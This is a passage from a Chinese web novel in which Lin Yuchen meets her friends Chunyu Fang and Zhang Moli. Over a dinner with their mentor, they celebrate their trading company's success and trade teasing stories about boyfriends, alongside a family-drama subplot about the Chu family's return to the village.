林语晨特意起大早,等在院门口送他。
赵有归下车把她送回屋,狠狠地亲两口,才一步三回头去上班。上了车,伸头看窗外,天色微明,心爱的语晨却没在门口……不免有点笑话自己太过拖拉。
听着车子驶离,林语晨才从窗边走开,感叹人真是很奇怪,得不到永远在想念,得到却患得患失。但是,选择与他在一起,却不会后悔。
她带着笑容,倒头睡回笼觉。
中午的时候,村里的妇女主任跑一趟林家,朝林姑娘说:“林语晨,你的同学张茉莉打来电话,说她回灵市,让你去城里找她。”
林语晨瞬间活泛,不在家想家,在家感觉像坐牢。
她喊了声:“妈,我出去一趟。”
“等等,你去市里是吧?帮妈带点年货回来,我来说,你写单子。”林兰香拉她,母女配合,很快写了满满一张清单,“收好啊,你就照单子买,别多买。”
“……买这么多?以前咱们家过年也没买这么多礼包吧?”林语晨惊讶问。
林兰香轻哼,又细心地解释:“咱们不是合村吗?大家都在一个厂里上班。你爸看你有出息又给他长脸,同那边老林家又开始走动。
大过年走亲戚,能空手吗?你进城时正好帮我们把东西带回来,省得过两天你爸放假还拖我去县里买。”
“行。我爸心挺大,不记仇啊。”林语晨揣好单子,笑着往外走。
林兰香在背后叨叨:“有你这么个好女儿,他不得向老林家炫耀炫耀,比那些没出息只知道窝里斗狠得强多了。”
“妈,我特高兴,我让你感觉有荣光。”
林语晨想起前世那个让妈抹泪的女儿,这会就觉得一切努力都值。
“你别送啦。我走了,明天才回来。”
“明天?”林兰香大惊:闺女进城住哪去啊?赵晓鹤?不会!不会……吧?
林语晨看她吃惊,眨巴无辜的大眼睛:“淳于芳在城里买房子,说是给我和茉莉留房间,我们会在那边聚一聚,住一晚。
所以,我应该明天晚上回来。你和爸不用等我啊!”
“……”林兰香一脸郁挫,这女儿不要了!读书不着家,放假也不着家。
目送车子开出村,忍不住长叹一声。
车子路过林家村入口,林语晨远远看到一辆黑色进口车开进去,正好看到车尾的牌照,苏字打头。
她把车停在路边,握在方向盘上的手紧得像焊在上面。
“这个家伙果然东山再起。”林语晨的唇上留下深深的牙印,换手敲档,往市里开去。
——
林家村楚家,楚新意一下车就开始嘀咕:“二哥真是,说回来就回来,公司一大堆事,这两月的工资都没发呢。明年又得同那些包工头吵架。”
邵美芬怼句:“少说两句。你哥有他自己的想法。楚林……楚林……”
林彩霞在娘家听说有小车停在自家门口,挺大肚子急巴巴跑回来。
她看到一大家子光鲜亮丽地站在院子里打量,心里就窝火。
憋着口气上前:“妈,别喊了。楚林去造纸厂上班,晚上才回来呢。”
邵美芬看到林彩霞及她的肚子,顿时展出笑容:“阿霞,怀孕了?怎么不来电话告诉我一声?你瞧妈给你们带什么回来。”
林彩霞看她是真心高兴,再及一声不吭的林菲儿、以及帮忙搬年货的林飞成,心里那股子怨气没法发作。
“是啊,再过一个月就生了。
小叔。”
楚邵点头,客气地喊:“大嫂。妈说回来看看你们,买些东西过年。你看看缺什么,回头我去城里买回来。咱们今年就麻烦……”看她挺个大肚子不容易,真不好意思说“过年麻烦你”这话,“麻烦大哥了。”
林彩霞第一次听楚邵的客气话,拉了拉唇角。她看到楚新意跑出来,喊了声:“新意啊。”
楚新意跑来抱住林彩霞:“大嫂,你看我给你带什么,最新的裙子。哎呀,我要是知道你怀孕,多买一点娃娃的衣服回来。没关系,明天咱们有空,喊上二哥去灵江市买。”
林彩霞发现这家子动不动就是买买买……人有钱变得好礼貌好客气,不由也跟着客气:“没事。我这么大肚子也穿不着,给菲儿穿啊。小孩子的衣服什么……我妈都给我备好了。
那个……别愣在外面,怪冷的,都进屋进屋!”
林飞成搬完东西,瞧着这一家子,轻哼句:“远香近臭。姐,”一把扯住要跟进去的林菲儿,蹙眉说,“他们一家子热闹,咱们……”
林菲儿摸了摸飞成的脑袋,想到弟弟也大不少。
“这样吧,姐带你回家。爸爸不在,但是咱们家还在。咱们问林裕钱要回老房子。”
“嗯。”林飞成跟着林菲儿往外走。
邵美芬发现后直接推楚邵:“快跟去看看。”
楚邵点头,追出门喊住林菲儿:“菲儿,过年在家过吧。”
林菲儿低头看着踩进烂泥的鞋跟,抬头时言笑晏晏:“我怕人家不欢迎。算了,我和飞成本来也是有家的孩子……”说完抛个“兴味”的眼神。
楚邵暗吸口气,知道她在指当初给警察当卧底出卖林裕宝的事,点根烟跟上两姐弟。
林裕钱和林裕宝住一个院子两间房。此时,林裕钱不在,但妻子和两个女儿都在家。
楚邵不能欺负人家母女什么,直接给一千块钱:“麻烦大嫂子,帮菲儿姐弟把家收拾一下,过年好住人。他们吃饭什么,回我家吃。”
林裕钱的妻子看着这叠钱的面子,想那老房子里就堆些杂物,整理起来不算麻烦,连声答应:“好。楚家……小子,你放心,家里正好有准备过年的冬被,我给姐弟两人收拾好拿过去。”
林菲儿知道婶婶不坏,只是性子软、好欺负,而且嫁错人。
她看楚邵做这一切,悄声对飞成说:“当年,大姐姐是不是陷害你让你被叔叔打?你去找大姐姐玩。”
林飞成一转眼神,明亮的脸孔露出阴恻的笑容,答应后走开。
林菲儿拉住准备离开的楚邵,拖他进满是灰尘的家。
楚邵还以为她反悔回来住,让自己看看家破成什么样,没想到被林菲儿突如其来抵在门墙上亲。
一把推去:“脏不脏?又犯疯病。”
“疯?”林菲儿看着灰尘落在他干净端雅的黑色大衣,笑得格外开心,“楚邵,当自己是圣人呢?大家都是婊.子,立什么牌坊。一次是做,两次就不是?难道你认为自己千方百计回来,林语晨会回头看上你?”
楚邵睨她一眼,转身出门。听得门被踹的声响,沉下气,回头说:“花点钱,请村里几个婶婶帮你打扫干净,明天就能住人。饭来家里吃。回头饿坏了,赵楠天得找我算账。”
“楚邵!”林菲儿看着他款款离去,一股委屈辛酸爬上心头。她转头看着掉皮的屋墙,似有灰尘进眼睛。
泪,终是滚下脸颊。
傍晚,楚林回来后又是一翻母慈子孝。
邵美芬亲自下厨做饭,不让林彩霞干活。
她把晚饭做得妥妥帖帖,言谈中,希望林彩霞去苏市生产。
楚邵在门口看楚新意一个人回来,蹙眉问:“菲儿姐弟不过来吃饭?”
“嗯。林裕钱留她们在家吃饭呢。哥,你是不是使钱了?”楚新意这两年跟着在外面闯,学到不少对付人的手段,“林裕钱这种东西就是欺软怕硬,看到钱什么都好说。”
楚邵没说什么,点着烟,时不时看门外。
林彩霞听小姑子说话,知道小叔这两年确实发达。
不过,她心明眼亮,不会巴上去。小叔出去近三年,发了也不回家带携哥哥,骨子里终归凉薄自私。
这种亲戚逢年过节走走就行。
若一家子去苏市,不知道怎么被当牛马使唤。
林彩霞听邵美芬一个劲劝老公去苏市,真怕楚林脑子一热答应过去。她暗暗给楚林使眼色,让他只听不应,就当耳边风。
楚新意见大哥不吭声,也过来劝:“大哥、大嫂,过完年咱们就去嘛。苏市那边,二哥家很大,够大哥、嫂子、侄子一起住啊。”
听听,二哥家!
林彩霞呵呵笑:“新意,不用啦。我和你大哥都是顾家的人。两个人在村里做做吃吃,安心得很。做人嘛,在哪不是做不是吃啊!”
邵美芬看她认死理的样子,气得翻白眼。
她准备找机会跟楚林好好说这事,希望大儿子能听话。
林彩霞肚子里是她的第一个孙辈,做奶奶真舍不得同孙子分开。
——
林语晨进城后直接去晨芳国际市场,走上五楼,被前台拦下。
何罗秋听说后找过来:“语晨姐,我还想着用什么办法通知你呢。”
林语晨的脑子被那辆苏市牌照的车搅得心神不宁,直截了当问:“芳芳什么时候回来?”
“芳老板和茉莉约了差不多时间到站的火车,一个南来,一个北回,都是……”何罗秋看手表,“下午4点左右到站。你……”
“行,我去火车站接她们吧。对了,晓琳……”林语晨看他眼睛亮几度,笑说,“问我为什么开你的车。她很关心你,而且有种小女生……吃醋的样子。”
何罗秋忍不住咧大嘴:“真吗?我没跟她说过这是公司的车。呵呵,不好意思。”
林语晨明白男人都要面子。
“我不是这个意思。重点是她关心你,吃我的醋呢。”
何罗秋笑开,又有些感怀:“我一直以为她是高山雪岭,无论我怎么使力都融不化那种。”
“男追女隔座山,你迟早能把这座雪岭化了,加油。市场几号放假?”
何罗秋:“谢谢语晨姐的吉言。公司再过两天放假,等芳老板过来开个会。下面市场面料那块会关门。服装、食品采购两层过年期间会定时开关,比正常营业时间短。
对,你去接芳老板和茉莉的话,正好把芳老板留给你的钥匙和你们的BB机带回去。”
他让秘书拿来三只BB机和一窜房子的钥匙,“本地寻呼,已经办好身份证明。这只BB机给你,也是芳老板的意思。”
林语晨接过钥匙、盒子,忽然想起老妈的年货单子:“我也拜托你一件事,这是我家要采购的年货,你帮我请个人到市场里找齐全。后天早上,我过来取东西,不麻烦吧?”
“不麻烦不麻烦。没问题。”何罗秋一目十行看过单子,塞进兜,“语晨姐,那我先去忙。”
“好。”林语晨不打扰他,转身离去。
背后有员工好奇:“这女得是谁?何总好客气,亲自出来迎接,还敢支使何总帮忙买年货!”
“听说是淳于老总的朋友。”秘书回答,“长得很漂亮。”
林语晨下楼后看手表,距离下午4点还有两个钟,现在去火车站也是干等。她转进晨芳国际市场,一楼是面辅料的采购铺。如今,近年关,这些店铺已经没什么生意,不少已经关门歇业,挂着来年正月十六开门的牌子。
又转去二楼。二楼是各种春夏秋冬装的采购地,正在成为灵市轻工业经济交流的命脉。
林语晨挑挑拣拣,给林兰香买一件小香风的外套和时装裤,又想起这两样估计能被老妈压箱底,转买轻薄的羽绒服、灯芯绒裤和运动鞋,又给爸爸买差不多的夹克套装。
买着买着就给沈秋霞带上一套,又给赵有归买一件黑呢大衣……然而,当她拿起大衣时想起张安国、甚至前世的楚邵……
“所以,两辈子打扮男人的眼光都没怎么变!不行!”
林语晨想起那辆糟心的进口车,扔掉呢大衣,买一件黑色的厚皮夹克外套,再一条紧身牛仔裤。
“过年这么穿,应该很酷吧。”
脑子里想象赵有归穿上牛仔裤显露的腰臀比例,坏心情顿时明媚。
“你好,这两套多少钱?”
“一共一百九十八。”服务员客气说,回头看向躲在柜子后的同事,不明白她好好的钱不赚躲那么远干吗?
柜子后的孙佳好怨毒地看着林语晨,想到姐姐孙佳人出狱后的惨痛生活就恨得切齿。
林语晨这个女人却什么事都没有,还大把花钱买东西。
嫉妒和怨毒让她双眼都红了。
“好。”林语晨付完钱,根本没关注角落的女人,提着大包小包回车上。
东西塞满后座。
“完了。这两个家伙的行礼不会少。”她看时间又差不多,也不打算去别的地方转。
尽管赵晓鹤说过年前生意好,周日就回店铺,也来不及找他存东西,就直接开车去火车站。
四点一刻后,淳于芳着一件印花衬衫搭短款香芋色小西装,穿一条浅蓝牛仔裤踩高跟鞋跑出闸口。
“淳于芳!”林语晨一眼就认出这姑娘,还是这么清爽利落,就是没考虑到灵市的天气。
“林语晨!”淳于芳径直跑过来,嘶了声,“好冷啊。”
“你不看天气啊?”林语晨把新买的大衣直接给她披上,“南北温差大,你下车前也不看看天气。”
“我知道,但是想着快点回来,什么都没准备。何罗秋这家伙死劲催我回来这边开年会。”淳于芳把箱子扔后备箱,就赶紧跟她上车,“呼,还是车里暖和。车厢也很温暖啊,一点不觉得冷。下了火车就给我冻老实。”
“还好,我在市场里逛一圈,新买的过年大衣,送你啦。”
“嘿嘿,谢谢你。”淳于芳看下时间,“茉莉快到吧?我和她在出发前通过电话,一起约好差不多时间到站的班次。我还通知何罗秋来接,没想到是你,好大一个惊喜。”
说着又忍不住抱了抱她。
林语晨放开她后,把何罗秋交待的东西递去:“我接到茉莉的电话,想着你应该也快回来,就去趟晨芳。听说你们差不多时间的火车,顺便把接你们的活揽过来。”
“嗯。语晨,晚上一起去家里吧。那房子就是给我们三人准备。之前,你没回过灵市,还没去过。倒是茉莉偷偷回来住过一次。”
“行。我拿到何罗秋给的钥匙,一会你带路。”林语晨只听说过淳于芳买房子,但不知道具体地方。
“这窜钥匙本来就是给你准备。你一定认识那地方,在师娘李丽珍家附近。我已经托她请人打扫,应该回去就能吃晚饭。”淳于芳亲热地挽住林语晨的手臂,邀功般问,“怎么样,我安排得是不是很好?”
“特别好,就是不像晨芳国际的老总,反倒是人家的小蜜!哈哈哈……”林语晨调侃她,被淳于芳使劲摇了摇。
两人看到一身白色长款羽绒服拖箱子出来的张茉莉。
林语晨眨眼又笑:“你看你们俩人,一看就是两个方向两个季节回来的人。”
淳于芳推开车门,高声喊:“茉莉,这边这边!”
“芳芳!”张茉莉挥了挥手,赶紧拖行李过来。
她把行李也塞进后备箱,看着满当当的副驾驶,“我去,林语晨,给我送年礼啊?”
“采购年货这种愉悦身心的事当然得留给你们自己干。坐好了,我做一回司机!”林语晨打方向盘开出去。
淳于芳和张茉莉聊着天,说起火车上的见闻。
张茉莉也说淳于芳穿得太少。三人热热闹闹地进满是小洋房的别墅区。
“这啊?”林语晨震惊。
“是啊。当年我可是拆巨资咬牙买下来。”淳于芳抛了抛钥匙,“语晨,你开门。我和茉莉拿行李。”
林语晨还没插钥匙,门自动打开。
李丽珍拍了拍掌,看着一脸意外的学生:“怎么样,是不是很惊喜?”
“师娘,你也在啊?”林语晨收起逗乐李丽珍的表情,被她拉进屋,
茉莉一个人拿两人的行李进门。
淳于芳在后面笑:“张茉莉,我自己能行,非得显示你的大力士吗?”
“那怎么能一样?在你们面前我必须是保护你们的角色。在那些男人面
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前,我才是小鸟依人的可爱茉莉……哈哈哈……”
几人都笑起来。
李丽珍看着越发亮眼的侄女:“你这丫头去上大学就以为没人管,放飞自我。你说说,在校期间谈几个男朋友?”
张茉莉讨饶:“小婶!”看向好奇望来的淳于芳,“你们问林语晨,她都知道我的臭事。我还是白色房门那间屋子对吧?我先去洗澡,等我下来吃饭啊。”
林语晨摇着头,朝淳于芳说:“你也先去洗吧。洗完下来吃饭,我们一起谈。”
“好。”淳于芳也奔上楼。
张茉莉回头说:“咱们一起洗啊?”
淳于芳捶她:“美得你,你先洗。”
两人笑闹着上楼。
楼下,李丽珍拉过林语晨,带她参观房子。
房子是早期外国人留下的建筑,有一番历史。
但是,室内的家具、装修都是近年港地的流行风:吧台、格子酒柜、沙发抱枕……已经非常现代化。
“淳于芳说大家回灵市得有个聚的地方。当时,我买这里的房子就提议让她也买一间。她还想房本上写你们三人的名字,若不是法律不允许,她真会这么干。
上次你急着回家看爸妈,我就没提这事,等你们三人聚一块给你惊喜。
楼上一共有四间卧室,白色门是茉莉,淳于芳的房间是酒红色。你的房间门选得是蓝色。她们说你沉静,像海,就选蓝色。棕色是客房,给客人住。”
林语晨没想到淳于芳做到这样。
“她太重情义了。”
李丽珍打趣她:“你可有后悔,当初没有亲自打这片天下,而是拱手让给别人?”
“师娘。你都说了,钱是赚不完,我又怎么会钻这种牛角尖。”林语晨回道。
“没错。你知道我最看好你得一点是什么吗?”李丽珍轻笑着,“不贪心。这点让你看到重情义的淳于芳,她是个好女孩也是一名好帮手。”
“呵呵,反过来看,我们是她的帮手才对!”林语晨看她笑没了眼,也乐起来,“张校长呢?”
“放寒假,他当然在家带孩子。”李丽珍笑眯眯,轻声说,“咱们女人聚会有他什么事。”又打趣回去,“有没有兴趣出国前定下来?我帮你介绍几个青年才俊。”
“别了吧。”林语晨看着厨房里出来的大嫂子,点了点头。
李丽珍让帮忙的阿姨先回去,又说:“随你吧。我嫂子唐琪倒是让我给茉莉相看,帮她介绍几个好青年。
不过,过完年茉莉去港地发展,我也带不动啊,随她闯荡。”
林语晨想起茉莉的感情生活,也是抚了抚额头。
这姑娘高中毕业后像从囚牢里放出来,飞入广阔的天空后开了窍,没有断过男朋友,但是也都处不长。
张茉莉和淳于芳收拾好后下楼。
林语晨和李丽珍已经摆好餐盘酒菜,大家一起入座。
四人环顾一圈,想起三年前灵江边酒楼得那次饭局。
李丽珍看着她们,觉得自己也朝气蓬勃。当然,她从不被年龄内耗。
举起红酒杯,率先发言:“你们三,一位是我侄女,一位是我徒弟,一位是我的合伙人。在此,我很高兴能和你们处成朋友,一起走过即将到来得第三……四年。哈哈哈……我们干杯。
等等……我要郑重感谢芳芳这一年里的努力付出,大家为晨芳倾情规划未来,才有我们晨芳现在的规模,预祝明年,语晨为我们打开国际市场,让晨芳更上层楼!干杯!”
“干杯……”
三个女孩兴奋地听完,一起互相碰杯,同李丽珍喝一杯。
在几人的眼神下,淳于芳含笑起身,又被张茉莉拉回座位,坐着说:“我先说吧,放假前营业报告已经出来,今年赚得比去年翻了……五倍!”
大家都忍不住捂嘴压住惊呼,继而大笑。
李丽珍:“短短两年半,先是晨芳国际贸易积累大笔的资金,再是联系咱们省政府,学深地的电子大厦建立晨芳市场大楼。
如今咱们灵市的晨芳,已经是通向内陆和北方的各类产品中转站,全国知名市场!”
张茉莉听着就觉得这一路发展又辛苦又高速,忍不住握住林语晨的手。
淳于芳也有些感慨:“我能有今天,感谢丽珍师娘不厌其烦地指导,语晨的远景规划和市场导向,让我们晨芳精准壁坑,以及茉莉的倾情支持。所以,这杯酒,我敬你们。”
众人互相笑看,与她碰杯,都赞芳芳能干。
张茉莉举起杯子,笑说:“我确实只能倾情。论资本,我是沾小婶的光。论对晨芳的发展规划,更没有语晨的远见和洞察力。我是咱们中最占便宜得那位,只出点小钱,回报却是天文数字。
芳芳,小婶,语晨,我敬你们让我这辈子衣食无忧,不用为钱愁心,专心做我喜欢的事,感谢你们!干杯!”
“干杯。”众人忍俊不禁,陪她喝一口。
林语晨:“当初若没有茉莉牵线,根本没有现在的晨芳,一切都是芳芳的努力应得。”
淳于芳得到她的肯定,由衷生出一种被认可的满足,重重地点头。
李丽珍:“晨芳有现在的成绩,离不开我们所有人、包括公司、市场员工、乃至灵市、深市、港地所有合作商的努力。”
众人一致点头。
轮到林语晨,举起酒杯,缓缓说:“感谢师娘给我的帮助,让我明年能去更广阔的世界见识一番。感谢芳芳让我不用为钱忧愁。感谢茉莉让我认识大家。干杯!”
“哈哈哈……”张茉莉忍不住笑她偷工减料,喝了口后再嘲,“你也太没诚意。”
“哎呀……浓缩就是精华。”林语晨嗔她。
淳于芳看着两人互动,眼里生出羡慕:“当年,我要是跟你们北上就好了。你们到现在还是让我觉得有点距离感。”
“瞎说什么。”林语晨握住她的手,“你要是北上,哪有现在让人如雷贯耳的晨芳淳于老总!”
李丽珍赞同:“是啊。因为你,我也有底气辞职,过上现在带带娃、养养花、偶尔出去参观名胜古迹的名流太太生活。”
张茉莉点头:“芳芳,明年我去港地,得你认识的小开帮我拉影视资源。我全靠你了。”
淳于芳笑不可遏,像一朵染上酒香霞气的粉色芍药:“好啊。明年我和茉莉一块奋斗。语晨要孤军奋战海外,让她来羡慕我们。”
“哈哈哈……是啊。”林语晨点头。
几人谈天说地,不正经的谈话里插几句明年晨芳的发展、未来市场前景的正经话。
饭局差不多的时候,张校长抱奶娃娃找上门:“丽珍啊丽珍……”
李丽珍喝得面色飞霞,拉上羊毛披帛,嫌弃了声:“男人带娃就干不了两个小时。你们吃好后早点休息。明天我让家里阿姨来收拾。我先回去了。”
“再见师娘!”几人异口同声。
李丽珍看着开门后眼神发痴的张校长,嗔他两句:“傻了?瞧你的眼神,似乎要把我吃了。今天高兴,贪杯,多喝点酒。”
奶娃娃扑着要妈妈,张校长赶紧拦住娃娃的手,眼里也没别人,一手抱娃一手扶老婆,急匆匆从窗前经过。
林语晨看着恩爱的夫妻,羡慕说:“师娘今晚有得忙。茉莉,你怎么不同张校长打招呼?”
“林语晨,你好坏。明知道小叔看小婶入迷,还让我去打扰他。”张茉莉揭穿她的阴谋。
“茉莉,你到底交几个男朋友?上次,你偷偷回来的时候,好像听你说谈个民国气质的学长?”淳于芳还记得进门时的话题。
林语晨忍不住偷笑,被茉莉撩一拳,疼得龇牙咧嘴,开始反击:“民国学长?她就喜欢那种大学教授气质类型。其实,我觉得是家传缘故,哈哈哈!芳芳,我和你说,民国学长把她当宝,结果她把人家送进医院看生殖科。哈哈哈……”
“不会吧?”淳于芳震惊,“没听茉莉提过啊。”
张茉莉咬牙,但也不动手,任她说出朵花,回头再讨回来。
76. 开三朵
林语晨接收到茉莉不反对的眼神,继续:“我可说了!我和他们两人一起吃饭。饭局上,茉莉想秀恩爱,给学长倒酱料。结果,一整瓶倾出来,流在学长的裤子上。那场面尴尬得呀!我能笑她一辈子,哈哈哈……”
淳于芳知道茉莉动起来大手大脚还有一把子力气,依旧诧异:“茉莉,怎么会这样啊?”
茉莉委屈:“人有失手马有失蹄,这有什么好大惊小怪?我又不是故意的。我带他去卫生间擦干净裤子,结果……”脸色一红,直接拍桌子,震得餐盘跳舞,“他说我弄痛他的二弟,让我负责。”
那个瞬间,啥民国气质,简直就是个衣冠禽兽!
“噗……”林语晨已经憋不住笑歪嘴。
“二弟?”淳于芳好奇,“二弟……突然来的第三者,还是特指什么?”
张茉莉和林语晨看着一脸纯真的淳于芳,顿时噗嗤一声笑倒。
“哈哈哈……”
林语晨看她是真不懂,贴在她耳边说清楚。
淳于芳脸色更红,直接拍了林语晨一记,又巴巴问:“后来呢?”
张茉莉眼神斜视:“你们就笑吧!”
林语晨憋着笑说:“结果学长痛进医院,看生殖科医生。我怀疑茉莉出手太重……后来问她,她不肯说……哈哈哈……”激动地笑拍桌面,再次震响桌上的盘盏,“咱们拿上酒挪个位置吧。别把邻居都吓醒。
民国气质的学长告吹后,茉莉吸收教训,找一位机车风的有钱有力气的学弟。”
淳于芳和林语晨兴奋地挪到客厅的沙发边。
张茉莉哼了声,打开录音机,柔婉的歌声盖住两人的笑声。
她晃着酒杯,气呼呼说:“你们俩差不多得啦。学弟不经事,难道怪我吗?说好在郊外飚摩托,结果我一圈下来,他倒是吐到虚脱,一身肌肉光好看不好用。”
“哈哈……”淳于芳捂嘴,茉莉的感情生活怎么过成港风幽默喜剧片,太好笑。
林语晨也笑:“其实,当时还好吧。因为事后我还看到过这位学弟。两人去买什么东西吧。芳芳,你知道他们回来的时候,我看到什么?”
“林语晨!”张茉莉觉得这是奇耻大辱!音乐也奔向高.潮部分,仿佛也想听这有趣又凄惨的爱情故事。
“语晨,别管她,快说你看到什么?”淳于芳一脸好奇。
“学弟的唇角破了,还不断流血,一看就是被什么咬破!哈哈哈……”林语晨指向张茉莉,“不知道为什么,每次她找男人谈恋爱,对方不是受伤就是流血,可惨了。”
“我去,茉莉,这么夸张吗?”淳于芳抱住憋笑到身形扭曲的林语晨,“她这么惨,你还笑话她?茉莉,怎么会这样啊?”哈哈……但是,真得有点好笑啊!
“这有什么好奇怪。他勾引我,我亲他,用力过猛就是会磕到嘛。你们亲吻不会磕到吗?林语晨,尽说我臭事,我们来说说你的好事。”
张茉莉一把推开淳于芳,卡在两人中间,幸灾乐祸,“芳芳,你知道吗?这个女人更可恶,把倾心追她的学长当作别人的替身。
哎呦唉,她给学长买的衣服啊全是按她的喜好。
有一次我无意中问她,她说:张安国的肩宽不够,显不出衣服的气质。我问她谁能衬出衣服的气质呢?”
“谁?快说!”淳于芳揉着被茉莉弄疼的手臂,痛也压不住好奇心。她感觉要吃到大瓜。
张茉莉当着林语晨的面,一字一顿报出名字:“赵、有、归!”
林语晨咧嘴挠她。
茉莉灵巧地翻过沙发,尽情“嘲笑”:“看吧看吧,她急了,死要面子不敢认!”
“我的天啊。语晨,你真喜欢赵局长吗?咱们灵市那位吧,没有第二位叫赵有归吧?”淳于芳吃瓜吃得老兴奋,“若是赵局长,你直接追他就好,干嘛找替身啊?”
林语晨打到茉莉一记。
——我是怕追不到吗?我是怕追到就结婚!
茉莉拉回衣袖,举爪大笑:“哈哈哈……我知道,因为她胆小,怕被辜负,怕赵晓琳喜欢赵有归,闹得邻里不和!明明上大学前她就喜欢人家,非得拖两年来考验人家的真心。你说她坏不坏,傻不傻?”
开启浮夸式表演,露出一脸伤痛的表情,“可怜的安国学长至今被蒙在鼓里。我回来前,他向我打听:‘茉莉啊,你要回灵市家乡吧,会看到语晨吧,请您帮我务必转告她:我会在我们曾经约会的小树林,那棵我们一起种的梓树下,等待心爱的女孩重新归来。哈哈哈……我当场起一身鸡皮疙瘩!”
林语晨拿起抱枕扔过去:“你别演了,张安国怎么可能这么说!难看死了。”
“人家真这么说了呀。我跟他说:别痴心妄想啦,有个男人比你更早做护花使者。张安国的脸色当场就变。哈哈哈……”张茉莉大笑,又演上,“哎呀,安国学长,真是太可怜不幸了!呜呜……”
淳于芳在一旁笑倒,也觉得传说中的安国学长真得有点惨!
她帮张茉莉拦住林语晨,高声说:“我觉得语晨追赵局长的话,一追一个准。我还记得那天送完锦旗出来的时候,赵局长看语晨的眼神,跟张校长看师娘的眼神一模一样,痴痴的,眼里根本没有别人。
语晨,你根本不用担心追不到,也不用找替身啊!”
“啊……茉莉,你够了。”林语晨干不过茉莉,捞酒瓶给她们满上,“行了行了。干杯干杯!”
三人又窝一块,淳于芳被两人夹在中间。
林语晨开启反击:“芳芳,我和茉莉都说咱们的臭事,你呢?”
淳于芳看到两张狐狸似的美人脸,秒怂:“我……我没有感情生活啦。我一心赚钱赚钱,除了赚钱还是赚钱!”
“真假呀?以你现在的情况,在学校都横着走吧?”张茉莉戳她。
“哎呀。”淳于芳翻过身躲到林语晨那边,扒着她,“一开始到学校,大家谁都不认识谁,没人看得上我。
我就像……一滴透明的水进入大海,丝毫不起眼。”
她看着两人好奇认真的表情,慢慢地回想奋斗的两年多,颇有些感慨,“后来,师娘帮我搞定办事处,帮我拉起场子,介绍人脉给我……我渐渐地熟络那些工作。
头两年,我真是一点交朋友的想法都没有,晚上做梦都在算账、挑款式、见人谈合作。
我曾经在梦里梦见语晨数钱,茉莉数钱,师娘数钱……嘻嘻……”
“吁吁吁……”林语晨和张茉莉吁她,驱散淳于芳眼里那股辛苦年月的酸楚劲。
淳于芳笑开,继续说:“等我在外面的生意场子渐渐得有起色,得罪那边一大帮水客。他们举报我,我得拿出各种文件自证。
后来,何成叔摆一桌,何方明也去了……真是好大的阵仗。那次饭局过后,我的胆量有这么高……这么高的长进,最好的结果就是大家都不再争对我们晨芳,约定有钱一起赚。
你们知道建设晨芳市场大楼的时候,若不是赵局长……”
淳于芳一把挽住林语晨的手臂,望向两张静静聆听的脸,轻声说:“若不是赵局长一通电话,帮我联系工商、土建那边,我真是一点把握都没有啊。
后来,我知道赵局长看在语晨的面子,知道对于他来说这通电话很难……之后,我在工地上遇到再难的事都不敢麻烦他。
大楼建成后,省长、厅长、局长,以及师娘请的几位客人来剪彩,都夸这楼建得好,以后就是灵市的经济中心。
那时候,我才意识到我的人生真得不一样了。
语晨,你在火车上说得那番话是预言,也是我对未来的梦想,一直激励着我。”
张茉莉又爬到淳于芳一边,同林语晨两人一左一右挽住她的手臂。
林语晨知道那通电话,因为是她先找赵有归,同他解释晨芳大楼建成后对灵市轻工业经济的带动作用。赵有归联系谭省那边,撮合这桩好事。这之后,赵有归寄报本给林语晨,暗示心意。
林语晨正好回信,埋下一枚枚入心的钉子。
淳于芳怕影响赵有归,纯粹多余,也是她太重情谊,怕害了曾经帮助过她家的赵有归。
淳于芳感受到两人友谊的力量,从那股复杂的人生感悟里挣回到现实。
她好似历经许多,带一股平静又幸福、甚至缅怀的感觉。
“我好像一夜之间成为可以攀登珠穆朗玛峰的人。你们知道这种感觉吗?轻飘飘的,坐在浮云上,俯瞰那些来来回回奔波的客户!”
张茉莉点头:“那段时间是不是觉得自己无所不能?”
“没错。上半年,我在市场部招到我们学校的学生就职。一夜之间,我红了,人人都知道我的名字。
‘哦,她啊,大三的淳于芳啊。’‘没想到她是晨芳国际的老板,太不可思议吧?’‘天啊,她是从什么时候开始创业?’
呵呵呵……”淳于芳模仿那些声音,自己就笑起来,“也是那段时间,我从无所不能的淳于芳落地回人间。
我看着他们,我知道我和他们已经不一样。我走在他们前面,并不是我特别或者能力超群,而是我……遇到你们。
如果我没有你们,我就是她们口中名不见经传的普通大三学生,普普通通,毫无特长。因为遇见你们,我才变成现在这么好的我。”
三人默默地抱在一起,突然有些小感伤。
音乐都治不好那种。
林语晨拍了拍紧紧揽抱自己的淳于芳:“芳芳,你要坚信,你的努力值得这一切。”
淳于芳忍不住摸在眼角,那点湿润很快被温暖蒸发,又笑起来:“谢谢你们。”
张茉莉从茶几上端起酒水递去:“喝一杯,庆祝我们认识三周年。干杯!”
“算上高中那学期,真是三周年多!”林语晨举杯,一起干一杯。
淳于芳帮茉莉说:“确实。茉莉在四舍五入嘛。哈哈……”
张茉莉喝完后放回酒杯,又说:“芳芳,别扯开话题。感情方面呢?”
淳于芳眨眼,被张茉莉挠痒痒,不得不说:“行行行,但是,我也不知道这算不算感情啊!
七月份的时候,我招一名隔壁大学的实行生,年龄比我小,做事特别仔细认真。
你们知道吗?他长得也很好,像港地小生,姓温的,完全长在我的点上。
我每次看到他都会莫名其妙地开心,不由自主就笑。
但是,他比我小啊!”
“哎呀,小怎么了?小男生更冲动。”张茉莉兴奋地说,“办公室恋情兼姐弟恋,好有趣啊。”
林语晨拖长音:“好浪漫啊!”
“没有。不是你们想得那样。”随音乐的缓缓流动,淳于芳忍不住也笑,“我不是让何罗秋把车给语晨开吗?我想着这边用车紧张,又买一辆新车送回灵市,作为公司的第二辆用车。但是,年前货运不方便,想让人沿国道把车开回来。”
“我的天啊,一千多里的路啊。”林语晨惊讶,“你怎么想啊?”
“你让小弟弟实习生开回来?”张茉莉想到后续。
淳于芳点头:“我问公司里的人,他们不是回家过年就是胆小不敢开。只有他举手。我再三问他行不行。”
“他怎么说?”两张脸同时期待地看着她。
“他说:男孩子不能说……”
“哦!!!”张茉莉有经验,林语晨也懂了。三人异口同声:“不能说不行!哈哈哈……”
淳于芳靠着两人,嬉笑说:“他答应后就开始研究公路地图。这么厚一本呢。等我订好火车票,还没出发他就先走了。当时,我还问过他,赶这么急是怕回不来过年吗?
他说:他希望我火车到的时候他也能到我的家乡。”
“哇……他好会啊。他在哪,到没有啊?”张茉莉都开始醉得找人。
林语晨拉住她,又问:“那他会不会走错路?国道途径很多村庄,又接省道,很容易走茬吧!”
“不会吧!?”淳于芳也担心,“我给他这边的地址,最迟明天早上到吧。”
